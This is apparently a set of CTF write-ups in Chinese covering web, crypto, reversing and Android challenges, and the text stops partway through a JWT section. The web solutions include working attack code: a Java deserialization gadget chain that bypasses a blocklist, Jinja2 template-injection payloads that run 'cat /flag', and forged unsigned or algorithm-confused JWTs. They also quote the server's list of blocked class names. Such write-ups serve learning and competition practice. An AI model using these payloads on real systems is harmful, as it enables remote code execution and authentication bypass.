
object-loader(web)
Summary
题目是一个 Spring Boot Java 对象导入服务。核心漏洞是POST /api/import 对用户传入的 Base64 Java 序列化流直接readObject(),虽然写了类名黑名单,但可以用不包含黑名单关键字的 Commons Collections gadget 链绕过,最终读取容器根目录/flag。
Solution
Step 1: 审计 JAR
解包app.jar 后发现业务类很少:
ctf/deser/Application.classctf/deser/ImportController.classctf/deser/SafeObjectInputStream.class
ImportController#importObject 的逻辑是:
Base64 decode request bodynew SafeObjectInputStream(...)readObject()成功时拼接对象,失败时返回完整异常堆栈
SafeObjectInputStream 只在resolveClass 里按字符串黑名单拦截:
invokertransformerjava.lang.runtimejava.lang.processbuilderjava.lang.compilerjavax.scriptorg.mozillagroovybsh.jdk.nashorncom.sun.rowsetjavax.management
同时依赖里存在commons-collections-3.2.1.jar,所以可以构造不使用InvokerTransformer 的 CC 链。
Step 2: 绕过黑名单
使用的触发链:
HashMap.readObjectTiedMapEntry.hashCodeLazyMap.getChainedTransformerConstantTransformer(TrAXFilter.class)InstantiateTransformer(Templates.class, TemplatesImpl)TemplatesImpl.newTransformer()恶意 translet 静态代码块
恶意 translet 的静态代码块读取/flag,再把 flag 放到异常消息里抛出。因为服务端会把完整异常堆栈返回给客户端,所以可以直接在 HTTP 响应里拿到 flag。
生成好的 payload 文件为:
appjar_audit/payload_cc6_noinvoker_flag_b64.txtStep 3: 获取 flag
复现脚本:
import reimport sysimport requestsTARGET = sys.argv[1] if len(sys.argv) > 1 else "http://8080-4836750a-6d34-434c-9298-8973eff76a9f.challenge.ctfplus.cn"PAYLOAD = "payload_cc6_noinvoker_flag_b64.txt"with open(PAYLOAD, "r", encoding="utf-8") as f:body = f.read().strip()resp = requests.post(TARGET.rstrip("/") + "/api/import",data=body,headers={"Content-Type": "text/plain"},timeout=20,)print(resp.text)match = re.search(r"flag\{[^}\r\n]+\}", resp.text)if match:print("\n[+] flag:", match.group(0))else:raise SystemExit("[-] flag not found in response")
也可以直接用 curl:
curl -s -X POST \'http://8080-4836750a-6d34-434c-9298-8973eff76a9f.challenge.ctfplus.cn/api/import' \-H 'Content-Type: text/plain' \--data-binary @payload_cc6_noinvoker_flag_b64.txt
响应堆栈关键部分:
Caused by: java.lang.RuntimeException: FLAG=flag{4aee9e62-c3dd-4d80-9913-48600c47492c}Template Factory(web)
Summary
Jinja2 SSTI 题目,部署了 WAF 拦截__、class、globals、os、popen 等关键词。通过request.values 将敏感字符串从非tpl 参数传入,绕过 WAF 实现 RCE 读取 flag。
Solution
Step 1: 确认 SSTI 并探测 WAF
访问/render?tpl={{7*7}} 返回49,确认 Jinja2 模板注入。逐一测试关键词,WAF 拦截了__、class、mro、subclasses、globals、builtins、import、os、popen、config、chr、args 等,但放行request、lipsum、attr、values 等。关键发现:request.values 可同时访问 GET 和 POST 参数,而 WAF 仅检查tpl 参数的内容。
Step 2: 绕过 WAF 实现 RCE
将被拦截的关键词通过其他 GET 参数传入,模板中用request.values.xxx 引用,用{% set %} 分步构造调用链lipsum.__globals__['os'].popen('cat /flag').read():
import requestsBASE = "http://8001-95b7d710-0c70-4875-9b75-0ce0fe29e7e7.challenge.ctfplus.cn/render"tpl = ("{%set g=lipsum|attr(request.values.a)%}""{%set o=g[request.values.b]%}""{%set p=o|attr(request.values.c)%}""{%set r=p(request.values.d)%}""{{r.read()}}")params = {"tpl": tpl,"a": "__globals__","b": "os","c": "popen","d": "cat /flag",}r = requests.get(BASE, params=params)print(r.text)
输出:
flag{894676cc-68b5-47f9-a46f-15115828c1c5}Blank Render-web
概要
题目首页/ 会下发一个guest 身份的 JWT,而后端错误地接受了alg=none,因此无需知道任何密钥就能伪造管理员 Token。进入/dashboard 后,可以发现昵称渲染点存在 Jinja2 SSTI;虽然过滤器拦截了. 和直接出现的__globals__,但仍可通过attr() 配合查询参数间接取值,最终调用open('/flag') 读出 flag。
解题过程
Step 1: 伪造管理员 JWT
首页响应里会设置一个guest Cookie。将它替换为一个未签名 JWT,并把 payload 改成{"user":"admin","role":"admin"},即可访问仅管理员可进入的/dashboard 与/render。
Step 2: 利用 SSTI 读取/flag
/render 会把name 字段拼进 Jinja 模板中执行。像{{7*7}} 这样的探测可以直接成立,说明存在模板注入;但 WAF 会拦截. 和globals 等敏感内容。这里的绕过方式是把黑名单属性名放进查询参数里,再用attr() 逐级访问,最终到达__builtins__['open']('/flag') 并读取文件内容。
import base64import jsonimport reimport requestsBASE = "http://5000-676ae86c-d7b1-4cec-8fe1-c90fff9130f0.challenge.ctfplus.cn"def b64url(data):raw = json.dumps(data, separators=(",", ":")).encode()return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()token = (f"{b64url({'alg': 'none', 'typ': 'JWT'})}."f"{b64url({'user': 'admin', 'role': 'admin'})}.")payload = ("{{((cycler|attr('__init__')|attr(request|attr('args')|attr('get')('x')))""[request|attr('args')|attr('get')('b')]""[request|attr('args')|attr('get')('o')]('/flag'))|attr('read')()}}")resp = requests.post(f"{BASE}/render",params={"x": "__globals__", "b": "__builtins__", "o": "open"},data={"name": payload},cookies={"token": token},timeout=10,)match = re.search(r"flag\{[^<]+\}", resp.text)if not match:raise SystemExit("flag not found")print(match.group(0))
Flag
flag{3d23b882-6957-437c-af6c-5c2e140b5d95}1. BabyRSA
思路
题目直接使用e = 3 加密短 flag,且没有任何 padding。因为 flag 很短,所以明文整数m 满足m^3 < n,密文实际上就是普通整数立方,没有发生模回绕。于是直接对c 开整数三次根即可还原明文。
from pathlib import Pathimport redef integer_cuberoot(n: int) -> int:lo, hi = 0, 1 << ((n.bit_length() + 2) // 3 + 2)while lo < hi:mid = (lo + hi) // 2if mid**3 < n:lo = mid + 1else:hi = midreturn lo if lo**3 == n else lo - 1text = Path(r"E:\MCP\1\work\chal1\attachment\output.txt").read_text(encoding="utf-8")c = int(re.search(r"c = (\d+)", text).group(1))m = integer_cuberoot(c)print(m.to_bytes((m.bit_length() + 7) // 8, "big").decode())
Flag
flag{cub3_r00t_no_p4dd1ng_m4kes_rsa_cry_8a1f2c}2. Reused Keystream
思路
题目把 20 条消息都用同一条 AES-CTR keystream 前缀异或加密,本质就是 many-time pad。只要几条明文能被统计和语义恢复出来,对应位置的 keystream 就能反推出去,再去解包含 flag 的那一条。
这里先用多密文的英文统计特征恢复出前四条完整英文句子,再把它们当作已知明文,直接求出足够长的 keystream 前缀。第五条消息在这个前缀覆盖范围内,flag 就会明文露出来。
from pathlib import Pathimport retext = Path(r"E:\MCP\1\work\chal2\attachment\output.txt").read_text(encoding="utf-8", errors="ignore")cts = [bytes.fromhex(x) for x in re.findall(r"[0-9a-f]{20,}", text)]cribs = [b"The quick brown fox jumps over the lazy dog while the morning sun slowly rises above the distant hills and the whole valley wakes up.",b"Cryptography is only ever as strong as the discipline of the tired engineers who actually deploy and operate the system in production daily.",b"Never reuse a keystream across two different messages, or the secrecy of both of them will quietly and completely collapse under analysis.",b"A stream cipher turns one short secret key into a very long pseudo random keystream of bytes that you then exclusive or against the message.",]keystream = {}for idx, crib in enumerate(cribs):for pos, ch in enumerate(crib):keystream[pos] = cts[idx][pos] ^ chtarget = bytes(cts[4][i] ^ keystream[i] for i in range(max(keystream) + 1))flag = re.search(rb"flag\{[^}]+\}", target).group(0)print(flag.decode())
Flag
flag{many_t1me_pad_breaks_when_keystream_1s_reused_4c7e}3. Predictable
思路
output.txt 给了连续 10 个 token。生成器代码是经典 LCG:s_{i+1} = a*s_i + c mod m,其中a,c,m 都未知。对连续输出做差分后,可以用
(x3-x2)(x1-x0) - (x2-x1)^2 ≡ 0 mod m
这类关系把模数m 的倍数凑出来,再对这些值取gcd 恢复m。随后再解出a,c,预测下一个状态,按题目给的sha256(state)[:16] 派生 AES key 即可解密 flag。
from pathlib import Pathimport astimport refrom hashlib import sha256from math import gcdfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadfrom Crypto.Util.number import long_to_bytesdef recover_modulus(states):diffs = [b - a for a, b in zip(states, states[1:])]vals = []for i in range(len(diffs) - 2):vals.append(diffs[i + 2] * diffs[i] - diffs[i + 1] * diffs[i + 1])mod = 0for v in vals:mod = gcd(mod, abs(v))return modtext = Path(r"E:\MCP\1\work\chal3\attachment\output.txt").read_text(encoding="utf-8", errors="ignore")outputs = ast.literal_eval(re.search(r"outputs = (\[[\s\S]*?\])", text).group(1))iv = bytes.fromhex(re.search(r"iv = '([0-9a-f]+)'", text).group(1))ct = bytes.fromhex(re.search(r"ciphertext = '([0-9a-f]+)'", text).group(1))m = recover_modulus(outputs)a = ((outputs[2] - outputs[1]) * pow(outputs[1] - outputs[0], -1, m)) % mc = (outputs[1] - a * outputs[0]) % mnext_state = (a * outputs[-1] + c) % mkey = sha256(long_to_bytes(next_state)).digest()[:16]flag = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)print(flag.decode())
Flag
flag{lcg_1s_n0t_a_csprng_recover_acm_then_pr3dict_5e2a}4. Twice
思路
两条 ECDSA 签名用了同一个 noncek,所以r1 = r2。这是最经典的 nonce reuse。记两条消息哈希为h1,h2,签名为(r,s1),(r,s2),则有:
k = (h1 - h2) / (s1 - s2) mod nd = (s1*k - h1) / r mod n
求出私钥d 后,按题目给出的sha256(d.to_bytes(32))[:16] 派生 AES key,就能解出 flag。
from pathlib import Pathimport astimport refrom hashlib import sha256from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadN = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141def H(msg: bytes) -> int:return int.from_bytes(sha256(msg).digest(), "big") % Ntext = Path(r"E:\MCP\1\work\chal4\attachment\output.txt").read_text(encoding="utf-8", errors="ignore")msg1 = ast.literal_eval(re.search(r"msg1 = (b'.*?')", text).group(1))msg2 = ast.literal_eval(re.search(r"msg2 = (b'.*?')", text).group(1))r = int(re.search(r"r1 = (\d+)", text).group(1))s1 = int(re.search(r"s1 = (\d+)", text).group(1))s2 = int(re.search(r"s2 = (\d+)", text).group(1))iv = bytes.fromhex(re.search(r"iv = '([0-9a-f]+)'", text).group(1))ct = bytes.fromhex(re.search(r"ciphertext = '([0-9a-f]+)'", text).group(1))h1 = H(msg1)h2 = H(msg2)k = ((h1 - h2) * pow((s1 - s2) % N, -1, N)) % Nd = ((s1 * k - h1) * pow(r, -1, N)) % Nkey = sha256(d.to_bytes(32, "big")).digest()[:16]flag = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)print(flag.decode())
Flag
flag{nonce_reuse_in_ecdsa_l3aks_your_pr1vate_k3y_9c4f}5. Leaky Prime
思路
题目泄露了p 的高位,未知的是低 200 位。设
p = p_high + x|x| < 2^200
那么有f(x) = p_high + x ≡ 0 mod p。因为p 是n 的一个约 512-bit 因子,而未知量只占 200 bit,满足 Coppersmith 单变量小根条件,可以对这个一次多项式做 LLL,直接恢复小根x。拿回p 之后就是普通 RSA 解密。
from pathlib import Pathimport reimport sympy as spfrom Crypto.Util.number import long_to_bytesdef coppersmith_known_high_bits(n: int, p_high: int, unknown_bits: int) -> int:x = sp.Symbol("x")X = 2**unknown_bitsf = x + p_highm = 4t = 4polys = []for i in range(m):polys.append(sp.expand((n ** (m - i)) * (f**i)))for j in range(t):polys.append(sp.expand((x**j) * (f**m)))max_deg = max(sp.Poly(poly, x).degree() for poly in polys)rows = []for poly in polys:P = sp.Poly(poly, x)rows.append([int(P.nth(k) * (X**k)) for k in range(max_deg + 1)])reduced = sp.Matrix(rows).lll()for row_idx in range(reduced.rows):expr = 0for k in range(max_deg + 1):expr += (int(reduced[row_idx, k]) // (X**k)) * x**kroots = sp.Poly(sp.expand(expr), x).ground_roots()for root in roots:root = int(root)if 0 <= root < X and n % (p_high + root) == 0:return p_high + rootraise ValueError("small root not found")text = Path(r"E:\MCP\1\work\chal5\attachment\output.txt").read_text(encoding="utf-8", errors="ignore")n = int(re.search(r"n = (\d+)", text).group(1))e = int(re.search(r"e = (\d+)", text).group(1))c = int(re.search(r"c = (\d+)", text).group(1))p_high = int(re.search(r"p_high = (\d+)", text).group(1))unknown_bits = int(re.search(r"unknown_bits = (\d+)", text).group(1))p = coppersmith_known_high_bits(n, p_high, unknown_bits)q = n // pphi = (p - 1) * (q - 1)d = pow(e, -1, phi)m = pow(c, d, n)print(long_to_bytes(m).decode())
Flag
flag{c0ppersm1th_recovers_p_from_high_bits_via_lll_b7e3}just_sm4
思路
程序主流程在0x412523 一带:
先检查输入前缀是否为 GFCTF{,否则输出Format Wrong!再检查总长度是否为 0x17,也就是6 + 16 + 1 = 23,否则输出Length Wrong!最后检查最后一个字符是否为 }。花括号里的 16 字节会被按大端拆成 4 个 uint32。程序随后对这 16 字节做一轮标准 SM4 加密,并把结果和硬编码密文比较。
虽然题目名叫just_sm4,但作者把 SM4 的FK 初值拆成了两组伪装函数:
0x411a300x411f40
这两组结果异或后,才是真正参与轮密钥展开的 4 个初始字。
CK 轮常量在0x411da0,仍然是标准 SM4 的:
00 07 0e 151c 23 2a 31...
线性变换部分也和标准 SM4 一致:
0x411c00对应L'0x411ca0对应L
因此直接把硬编码密文做一次 SM4 解密即可。
复现脚本
from pathlib import Pathdata = Path(r"E:\MCP\2\just_sm4.exe").read_bytes()arr1 = data[0x8E00:0x8E10]arr2 = data[0x8E10:0x8E20]sbox = data[0x7330:0x7430]ct_words = [0x5BD40FDE, 0x9EBCF5EF, 0x544E7FE3, 0x1DF9529E]def rol(x: int, n: int) -> int:return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))def tau(x: int) -> int:return int.from_bytes(bytes(sbox[b] for b in x.to_bytes(4, "big")), "big")def l_round(x: int) -> int:return x ^ rol(x, 2) ^ rol(x, 10) ^ rol(x, 18) ^ rol(x, 24)def l_key(x: int) -> int:return x ^ rol(x, 13) ^ rol(x, 23)def helper_a(idx: int) -> int:out = []for j in range(4):pos = idx * 4 + jvalue = arr1[pos] ^ ((pos * 0x0D + 0x37) & 0xFF) ^ ((0x91 - pos * 7) & 0xFF)out.append(value)return int.from_bytes(bytes(out), "big")def helper_b(idx: int) -> int:out = []for j in range(4):pos = idx * 4 + jvalue = arr2[pos] ^ ((pos * 0x0B + 0x5A) & 0xFF) ^ ((0xC3 - pos * 5) & 0xFF)out.append(value)return int.from_bytes(bytes(out), "big")def ck(idx: int) -> int:return int.from_bytes(bytes(((idx * 4 + j) * 7) & 0xFF for j in range(4)), "big")round_key_state = [helper_a(i) ^ helper_b(i) for i in range(4)]for i in range(32):nxt = round_key_state[i] ^ l_key(tau(round_key_state[i + 1] ^ round_key_state[i + 2] ^ round_key_state[i + 3] ^ ck(i)))round_key_state.append(nxt)round_keys = round_key_state[4:]state = ct_words[:]for i in range(32):nxt = state[i] ^ l_round(tau(state[i + 1] ^ state[i + 2] ^ state[i + 3] ^ round_keys[31 - i]))state.append(nxt)plain_words = state[35:31:-1]inner = b"".join(word.to_bytes(4, "big") for word in plain_words).decode()print(f"GFCTF{{{inner}}}")
Flag
GFCTF{Y0u_4r3_G00d_1T!}Quick_Js
Summary
程序是一个经过 UPX 压缩、删除节表的 x86-64 静态 ELF,其中嵌入了 QuickJS 校验逻辑。运行时脱壳后可以提取 SM4 密钥、目标密文和异或掩码,恢复真实 SM4 密文并解密得到 flag。
Solution
Step 1: 识别 UPX 并获取运行时镜像
首先检查附件:
file challengestrings -a -n 6 challenge | grep -Ei 'UPX|QuickJS|flag'
得到:
ounter(lineounter(lineounter(linechallenge: ELF 64-bit LSB shared object, x86-64, statically linked, no section header$Info: This file is packed with the UPX executable packer http://upx.sf.net $$Id: UPX 4.24 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $
程序删除了节表,且关键字符串在静态文件中不可见。运行程序并在 UPX 解压完成后使用 GDB 附加进程,转储可执行内存区域,再对内存镜像搜索常量。
分析 QuickJS 字节码和注册的原生encrypt() 函数后,得到以下信息:
算法:SM4-ECB密钥:CTF2026_Wow_Key!目标数据:6be6b4afed03d442e06300518997a115cb5f974566d40ca9aaca74972bb30b10c59a122a3558aa3b50df2dca033cd009异或掩码:29b5f78dc7efdfc454582a7fe26b440ca28f25e44e2af9ba683e1688c6636ad787bd9c438de5db1fa603f06f03df9dfc
校验过程可以还原为:
target = SM4_ECB_PKCS7(flag, key) XOR xor_mask因此将目标数据与掩码异或,即可恢复真正的 SM4 密文。
Step 2: 解密并输出 flag
安装依赖:
python3 -m pip install cryptography完整解题脚本如下:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesKEY = b"CTF2026_Wow_Key!"TARGET = bytes.fromhex("6be6b4afed03d442e06300518997a115""cb5f974566d40ca9aaca74972bb30b10""c59a122a3558aa3b50df2dca033cd009")XOR_MASK = bytes.fromhex("29b5f78dc7efdfc454582a7fe26b440c""a28f25e44e2af9ba683e1688c6636ad7""87bd9c438de5db1fa603f06f03df9dfc")def pkcs7_unpad(data: bytes, block_size: int = 16) -> bytes:if not data:raise ValueError("解密结果为空")padding_length = data[-1]if padding_length < 1 or padding_length > block_size:raise ValueError("无效的 PKCS#7 填充")if data[-padding_length:] != bytes([padding_length]) * padding_length:raise ValueError("PKCS#7 填充校验失败")return data[:-padding_length]def main() -> None:sm4_ciphertext = bytes(target_byte ^ mask_bytefor target_byte, mask_byte in zip(TARGET, XOR_MASK))decryptor = Cipher(algorithms.SM4(KEY),modes.ECB(),).decryptor()padded_plaintext = (decryptor.update(sm4_ciphertext)+ decryptor.finalize())flag = pkcs7_unpad(padded_plaintext).decode("utf-8")print(flag)if __name__ == "__main__":main()
运行结果:
flag{3f2504e0-4f89-11d3-9a0c-0305e82c3301}将结果输入原程序验证:
Enter the flag:[+] Correct! Flag accepted!
Mirage
Summary
APK 的 Java 层故意显示多个假 Flag,真实校验位于libjni_mirage.so。逆向 JNI 后可还原自定义异或流,解密 APK 内的三份资产并拼接出真实 Flag。
Solution
Step 1: 定位 Java 层假象与 JNI 入口
解压 APK 后可以看到三个加密资产和四个架构的 JNI 库:
unzip -q app-debug.apk -d miragefind mirage/assets mirage/res/raw mirage/lib -type f
关键文件如下:
assets/challenge.datassets/challenge_a.datassets/challenge_b.datres/raw/core_trace.txtlib/x86_64/libjni_mirage.so
使用 Androguard 分析MainActivity,发现按钮点击后会调用:
com.example.jnimirage.NativeBridge.bridge(...)四个操作码通过异或隐藏:
原数组:0x5A, 0x7C, 0x11, 0x40掩码: 0x33, 0x51, 0x72, 0x14结果: 0x69, 0x2D, 0x63, 0x54
其中:
0x69:生成第一阶段数据0x2D:解密并组合资产0x63:校验最终 Flag0x54:返回诱饵提示
Java 层即使收到 JNI 返回的OK,仍会强制显示:
flag{warmup_path_fake_reward}JNI 中还存在另一个诱饵:
flag{shadow_path_reward}因此不能相信界面或strings 直接看到的 Flag。
Step 2: 还原资产解密和最终校验
challenge_a.dat、challenge_b.dat 和core_trace.txt 都是十六进制字符串。JNI 会先将其解码为字节,再使用自定义异或流处理。
核心算法由三个部分组成:
FNV-1a 32 位哈希32 位整数混合函数逐字节生成异或流
整数混合函数为:
def mix32(value):value ^= value >> 16value *= 0x7FEB352Dvalue ^= value >> 15value *= 0x846CA68Bvalue ^= value >> 16
逆向libjni_mirage.so 后可以恢复三份资产对应的字节流。解密结果为:
VAULTA|nat1ve_truth|BE21E9VAULTB|beneath|88D4A483|layersTRACE|layers|trace|2F
程序取出以下字段:
VAULTA 的第 2 段:nat1ve_truthVAULTB 的第 2 段:beneathVAULTB 的第 4 段:layers
最终拼接为:
flag{nat1ve_truth_beneath_layers}最后 JNI 对完整 Flag 计算:
mix32(FNV1a(flag)) == 0x62701117实际结果与程序中的目标值完全一致。
Step 3: 完整解题脚本
脚本直接读取原始 APK,无需手动解压:
#!/usr/bin/env python3from __future__ import annotationsimport sysimport zipfilefrom pathlib import Path# 从 libjni_mirage.so 的解密函数中恢复的三组异或流。KEYSTREAMS = {"assets/challenge_a.dat": bytes.fromhex("40d30b58c8fb7177134635fac34d967505a65bb30babfde1c8ce"),"assets/challenge_b.dat": bytes.fromhex("3fe1eb2f8c7c95290b3869d1c53cf9861956149cfdd020e6084c3768448d"),"res/raw/core_trace.txt": bytes.fromhex("d6bdb4ecac0e05607e747367e5fd062e5605122000"),}def read_hex_member(apk: Path, member: str) -> bytes:with zipfile.ZipFile(apk) as archive:try:text = archive.read(member).decode("ascii").strip()except KeyError as exc:raise SystemExit(f"APK 中缺少文件:{member}") from exctry:return bytes.fromhex(text)except ValueError as exc:raise SystemExit(f"{member} 不是有效的十六进制数据") from excdef xor_bytes(data: bytes, key: bytes) -> bytes:if len(data) != len(key):raise ValueError(f"长度不匹配:data={len(data)}, key={len(key)}")return bytes(data_byte ^ key_bytefor data_byte, key_byte in zip(data, key))def fnv1a(data: bytes) -> int:value = 0x811C9DC5for byte in data:value ^= bytevalue = (value * 0x01000193) & 0xFFFFFFFFreturn valuedef mix32(value: int) -> int:value &= 0xFFFFFFFFvalue ^= value >> 16value = (value * 0x7FEB352D) & 0xFFFFFFFFvalue ^= value >> 15value = (value * 0x846CA68B) & 0xFFFFFFFFvalue ^= value >> 16return value & 0xFFFFFFFFdef main() -> None:apk = Path(sys.argv[1] if len(sys.argv) > 1 else "app-debug.apk")if not apk.is_file():raise SystemExit(f"找不到 APK:{apk}")decoded = {member: xor_bytes(read_hex_member(apk, member),key,).decode("ascii")for member, key in KEYSTREAMS.items()}vault_a = decoded["assets/challenge_a.dat"].split("|")vault_b = decoded["assets/challenge_b.dat"].split("|")trace = decoded["res/raw/core_trace.txt"].split("|")if (vault_a[0] != "VAULTA"or vault_b[0] != "VAULTB"or trace[0] != "TRACE"):raise SystemExit("资产解密结果格式错误")flag = (f"flag{{{vault_a[1]}_"f"{vault_b[1]}_"f"{vault_b[3]}}}")target = 0x62701117actual = mix32(fnv1a(flag.encode()))if actual != target:raise SystemExit(f"最终校验失败:"f"0x{actual:08X} != 0x{target:08X}")print(decoded["assets/challenge_a.dat"])print(decoded["assets/challenge_b.dat"])print(decoded["res/raw/core_trace.txt"])print(flag)if __name__ == "__main__":main()
运行:
python3 solve-Mirage.py app-debug.apk输出:
VAULTA|nat1ve_truth|BE21E9VAULTB|beneath|88D4A483|layersTRACE|layers|trace|2Fflag{nat1ve_truth_beneath_layers}
链接一下
Summary
本题是一个 Android ARM64 静态逆向题。Java 层只负责恢复 Flag 前缀,核心校验被藏在libshell.so 内嵌的加密 ELF 中;程序使用自定义 Linker 手动装载第二层 ELF,最后通过自定义 S-Box、RCON 和 12 轮 MAES 校验输入。
Solution
Step 1:恢复 Java 层 Flag 前缀
解包 APK 后,入口 Activity 会加载libshell.so,并在调用 JNI 前检查输入前缀。
前缀没有直接以明文保存,而是由 12 字节密文经过“前后半区交叉排列 + 动态异或”恢复:
密文:3c53f153d1e0f91aa9a30642初始异或值:0x5A状态更新:key = (key * 7 + 31) & 0xff
恢复结果为:
flag{L1nk3r_因此真正需要继续逆向的是传入nativeCheck() 的后半部分。
Step 2:解密内嵌 ELF 并还原自定义 Linker
APK 中只有一个 ARM64 原生库:
lib/arm64-v8a/libshell.solibshell.so 的初始化函数从.rodata 读取一段长度为0x8f88 的密文,并按0x400 字节分块执行改造 RC4。
初始密钥为:
3fa17709c45eb2186dda902ce74b8355每个数据块使用的密钥与当前块编号异或:
chunk_key[i] = key[i] ^ chunk_indexKSA 阶段额外加入当前索引:
j = (j + S[i] + chunk_key[i % 16] + i) & 0xffPRGA 生成的字节还会再异或0xA5:
output_byte = input_byte ^ keystream_byte ^ 0xA5第一层解密结果的 MD5 为:
72c968d23769da8f3cfd05388be1573a解密后得到一个新的 ARM64 ELF。该 ELF 并不交给 Android 系统 Linker,而是由题目实现的自定义 Linker 完成:
ELF Header 解析Program Header 映射LOAD 段加载动态符号解析重定位处理构造函数调用核心代码二次解密
使用 Unicorn 仿真该装载流程,并在第二次 RC4 调用处截获动态密钥:
098385610c270d270699aeb450d2f9b5继续解密后得到核心 ELF,其主要导出函数包括:
core_set_keycore_set_body_cryptcore_check
Step 3:逆向 12 轮 MAES 并恢复 Flag
core_check() 会将用户输入主体的 16 字节加密,并与以下密文比较:
4520576f8017fb4dcbc9ade222a5787c算法整体结构类似 AES,但存在三个关键修改:
使用第二层 RC4 密钥作为 MAES 主密钥; 根据 seed = key[0] = 0x09构造自定义 S-Box;使用自定义 RCON,并执行 12 轮,而不是标准 AES-128 的 10 轮。
自定义 S-Box 的生成公式为:
custom_sbox[i] = AES_SBOX[((seed | 1) * i + seed) & 0xff]
自定义 RCON 为:
8d172e5cb86ddaa94f9e214284程序共生成 13 组轮密钥:
Round Key 0Round Key 1...Round Key 12
逆向解密时,需要先处理最终的第 12 轮,再依次逆向第 11 轮至第 1 轮,最后异或第 0 轮密钥。
完整静态解题脚本如下:
#!/usr/bin/env python3PREFIX_ENC = bytes.fromhex("3c53f153d1e0f91aa9a30642")KEY = bytes.fromhex("098385610c270d270699aeb450d2f9b5")CIPHERTEXT = bytes.fromhex("4520576f8017fb4dcbc9ade222a5787c")RCON = bytes.fromhex("8d172e5cb86ddaa94f9e214284")STD_SBOX = bytes.fromhex("637c777bf26b6fc53001672bfed7ab76""ca82c97dfa5947f0add4a2af9ca472c0""b7fd9326363ff7cc34a5e5f171d83115""04c723c31896059a071280e2eb27b275""09832c1a1b6e5aa0523bd6b329e32f84""53d100ed20fcb15b6acbbe394a4c58cf""d0efaafb434d338545f9027f503c9fa8""51a3408f929d38f5bcb6da2110fff3d2""cd0c13ec5f974417c4a77e3d645d1973""60814fdc222a908846eeb814de5e0bdb""e0323a0a4906245cc2d3ac629195e479""e7c8376d8dd54ea96c56f4ea657aae08""ba78252e1ca6b4c6e8dd741f4bbd8b8a""703eb5664803f60e613557b986c11d9e""e1f8981169d98e949b1e87e9ce5528df""8ca1890dbfe6426841992d0fb054bb16")def recover_prefix():half = len(PREFIX_ENC) // 2mixed = bytearray(len(PREFIX_ENC))mixed[0::2] = PREFIX_ENC[:half]mixed[1::2] = PREFIX_ENC[half:]key = 0x5Aresult = bytearray()for value in mixed:result.append(value ^ key)key = (key * 7 + 31) & 0xFFreturn result.decode()def build_sboxes():seed = KEY[0]multiplier = seed | 1sbox = bytes(STD_SBOX[(multiplier * i + seed) & 0xFF]for i in range(256))inverse = bytearray(256)for index, value in enumerate(sbox):inverse[value] = indexreturn sbox, bytes(inverse)def expand_key(sbox):# 生成 Round 0 至 Round 12,共 13 组轮密钥。schedule = list(KEY)rcon_index = 0while len(schedule) < 13 * 16:temp = schedule[-4:]if len(schedule) % 16 == 0:temp = [sbox[temp[1]] ^ RCON[rcon_index],sbox[temp[2]],sbox[temp[3]],sbox[temp[0]],]rcon_index += 1for value in temp:schedule.append(schedule[-16] ^ value)return [schedule[i:i + 16]for i in range(0, len(schedule), 16)]def xtime(value):if value & 0x80:return ((value << 1) ^ 0x11B) & 0xFFreturn (value << 1) & 0xFFdef gmul(a, b):result = 0for _ in range(8):if b & 1:result ^= aa = xtime(a)b >>= 1return resultdef add_round_key(state, round_key):return [a ^ bfor a, b in zip(state, round_key)]def inv_shift_rows(state):# AES 状态矩阵按列优先保存。return [state[row + 4 * ((column - row) % 4)]for column in range(4)for row in range(4)]def inv_mix_columns(state):result = [0] * 16for offset in range(0, 16, 4):a0, a1, a2, a3 = state[offset:offset + 4]result[offset] = (gmul(a0, 14)^ gmul(a1, 11)^ gmul(a2, 13)^ gmul(a3, 9))result[offset + 1] = (gmul(a0, 9)^ gmul(a1, 14)^ gmul(a2, 11)^ gmul(a3, 13))result[offset + 2] = (gmul(a0, 13)^ gmul(a1, 9)^ gmul(a2, 14)^ gmul(a3, 11))result[offset + 3] = (gmul(a0, 11)^ gmul(a1, 13)^ gmul(a2, 9)^ gmul(a3, 14))return resultdef decrypt_maes():sbox, inverse_sbox = build_sboxes()round_keys = expand_key(sbox)state = list(CIPHERTEXT)# 逆向最终轮 Round 12。state = add_round_key(state,round_keys[12])state = inv_shift_rows(state)state = [inverse_sbox[value]for value in state]# 逆向 Round 11 至 Round 1。for round_number in range(11, 0, -1):state = add_round_key(state,round_keys[round_number])state = inv_mix_columns(state)state = inv_shift_rows(state)state = [inverse_sbox[value]for value in state]state = add_round_key(state,round_keys[0])return bytes(state)def main():prefix = recover_prefix()body = decrypt_maes().decode("ascii")# 校验成功后,程序固定追加三个问号和右花括号。flag = prefix + body + "???}"print(f"prefix = {prefix}")print(f"body = {body}")print(f"flag = {flag}")if __name__ == "__main__":main()
运行结果:
$ python3 solve.pyprefix = flag{L1nk3r_body = 1s_e4sy_r_U_Sur3flag = flag{L1nk3r_1s_e4sy_r_U_Sur3???}
需要注意,结尾的???} 是程序硬编码的真实内容,不是需要继续猜测或补全的占位符。
pwn-ZSCC
Summary
一道综合 Web/Pwn 题,考察.git 源码泄露、JWT 算法混淆攻击和 Jinja2 SSTI 模板注入绕过 WAF。通过泄露的.git 仓库获取源码,发现 JWT 验证同时支持 RS256 和 HS256 且公钥公开,利用算法混淆伪造 admin 身份,再通过request.args +|attr() 过滤器绕过关键字 WAF,最终读取 flag。
Solution
Step 1:.git 源码泄露
题目 Z 神语录页面提示「上线前我会把 .git 删掉的 —— 改天」,robots.txt 也暴露了/.git/ 路径。直接 dump Git 仓库获取源码:
# 确认 .git 泄露curl -s http://nc1.ctfplus.cn:33590/.git/HEAD# ref: refs/heads/master# 获取 commit hashcurl -s http://nc1.ctfplus.cn:33590/.git/refs/heads/master# 86194103f4420ed5b6e0fd7d9b532260d09d7a1e# 逐个拉取 git objects,还原 app.py 和 jwtutil.py
源码暴露了两个关键漏洞:
jwtutil.py的verify()函数同时支持RS256和HS256算法/admin/preview端点存在 SSTI,但有关键字 WAF
Step 2: JWT 算法混淆 — 伪造 admin Token
